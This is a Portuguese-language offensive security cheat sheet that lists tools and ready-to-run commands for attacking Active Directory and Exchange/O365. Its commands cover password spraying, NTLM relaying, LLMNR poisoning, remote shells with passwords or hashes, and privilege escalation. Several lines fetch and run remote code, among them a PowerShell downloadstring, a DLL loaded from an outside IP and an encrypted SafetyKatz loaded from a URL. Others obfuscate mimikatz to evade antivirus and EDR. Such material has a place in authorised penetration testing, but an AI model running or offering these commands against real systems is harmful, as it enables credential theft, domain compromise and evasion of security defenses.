
Coleção curada de ferramentas e comandos de segurança ofensiva para ataques ao Active Directory, C2, elevação de privilégios, ofuscação e testes de penetração web.
https://github.com/S3cur3Th1sSh1t/WinPwn
Import-Module .\WinPwn.ps1
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Seatbelt, KeeThief, Rubeus, SharpUp ...
https://github.com/PowerShellMafia/PowerSploit
PowerView, PowerUp, Get-GPPPassword ...
https://github.com/BloodHoundAD/BloodHound
SharpHound.exe -d testdomain.com -c all,gpolocalgroup
Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup
https://github.com/fox-it/BloodHound.py
bloodhound.py -c all
https://github.com/adrecon/ADRecon
Para executar o ADRecon em um host membro do domínio.
PS C:\> .\ADRecon.ps1
Para executar o ADRecon em um host membro do domínio como um usuário diferente.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
Para executar o ADRecon em um host que não é membro usando LDAP.
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>
https://github.com/byt3bl33d3r/SprayingToolkit
Sprayer de Lync/Skype & OWA, gerador de wordlist, conversor de esquema de nomenclatura etc.
Spray no OWA
./atomizer.py owa contoso.com 'Fall2018' emails.txt
Spray no Lync
./atomizer lync contoso.com --user-as-pass usernames.txt
Modo de reconhecimento
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
https://github.com/dafthack/MailSniper
Atacar OWA & EWS
O esquema de nomenclatura deve ser algo como testdomain.com\schmidta ou aschmidt -> verifique o esquema com o módulo msf
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt
Get-ADUsernameFromEWS -EmailList email-list.txt
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
https://github.com/0xZDH/msspray
Ferramenta de Enumeração e Spray para O365
Apenas enumera usuários sem fazer spray. É necessário um arquivo de texto com endereços de email completos [email protected]
python3 msspray.py -e -u textfile.txt --wait 10 --verbose
https://github.com/dafthack/MSOLSpray
Sprayer para O365
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
https://github.com/quickbreach/ExchangeRelayX
Atacar o EWS via autenticação NTLM sobre HTTP.
./exchangeRelayx.py -t https://mail.quickbreach.com
https://github.com/tevora-threat/SharpView
Porte do PowerView para .NET
SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password
https://github.com/m8r0wn/CrossLinked
Coletar endereços de email / usuários
python3 crosslinked.py -f '{first}.{last}@domain.com' company_name
https://github.com/SecureAuthCorp/impacket
https://github.com/byt3bl33d3r/CrackMapExec
Documentação oficial: https://mpgn.gitbook.io/crackmapexec/
https://github.com/FSecureLABS/SharpGPOAbuse
https://github.com/mrnamp/EvilWinRM
Uma ferramenta para interagir com a implementação do WS-Management da Microsoft, também conhecida como PowerShell Remoting, a partir de uma máquina Linux.
Também pode ser usada para conectar com um hash em vez de senha.
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099
Também é capaz de executar C#, DLLs ou shellcode donut diretamente na memória. Os executáveis devem estar no caminho definido no argumento -e.
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Dll-loader -http -path http://10.11.12.13/evil.dll
Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin
Também pode contornar o AMSI, obter tickets Kerberos e assim por diante ...
https://github.com/rasta-mouse/SharpRDP
Executa coisas via RDP. O usuário receberá uma notificação se a multi-RDP não estiver habilitada!
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
https://github.com/Kevin-Robertson/Inveigh
Ferramenta de spoofing e man-in-the-middle para ADIDNS/LLMNR/mDNS/NBNS/DNS em PowerShell
Import-Module Inveigh.psm1
Invoke-Inveigh -Consoleoutput Y
https://github.com/lgandx/Responder
Envenenador de LLMNR/NBT-NS/mDNS
./Responder.py -I eth0
https://github.com/cobbr/Covenant
https://github.com/BC-SECURITY/Empire
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
Exploits para Linux & Windows
https://github.com/p3nt4/PowerShdll
PowerShell sem PowerShell
rundll32 PowerShdll,main -w
https://github.com/NetSPI/PowerUpSQL
https://github.com/hfiref0x/UACME
https://github.com/rasta-mouse/Watson
https://github.com/itm4n/PrivescCheck
Ofuscar binários C / C++
Novo módulo -> flutuação de ShellCode:
PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'
Veja https://twitter.com/phraaaaaaa/status/1453389564383404032?t=wcB-3NlNh9725L9_zRjdHg
https://github.com/S4ntiagoP/donut/tree/syscalls
Fork do gerador de shellcode / PE do Donut com syscalls
https://github.com/EgeBalci/amber
Ofuscar binários C / C++
https://github.com/danielbohannon/Invoke-Obfuscation
Ofuscador para scripts PowerShell.
https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt
https://github.com/slaeryan/AQUARMOURY
Coleção de ferramentas para contornar AV/EDR e outras coisas
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
Ofuscador e criptografador para scripts PowerShell.
https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7
Coleção de ferramentas para PowerShell ISE. Possibilidades de ofuscação.
https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5
Converter PS1 em arquivo EXE.
https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader
Um wrapper para binários C# que criptografa o payload e o descriptografa na memória.
Criptografar binário:
Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc
Carregar binário criptografado a partir da URL:
Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs
Carregar binário criptografado do disco com argumentos de linha de comando:
Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"
https://github.com/klezVirus/inceptor
Ofuscador para C# e PowerShell
https://github.com/tokyoneon/Chimera
Ofuscador de scripts PowerShell
https://github.com/xforcered/InvisibilityCloak
Ofuscador de assemblies C#
https://github.com/yck1509/ConfuserEx
Ofuscador de assemblies C#
https://github.com/9emin1/charlotte
Loader de shellcode via D-Invoke
https://github.com/lleon1435/avcleaner
Ofuscador de código-fonte C/C++
SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray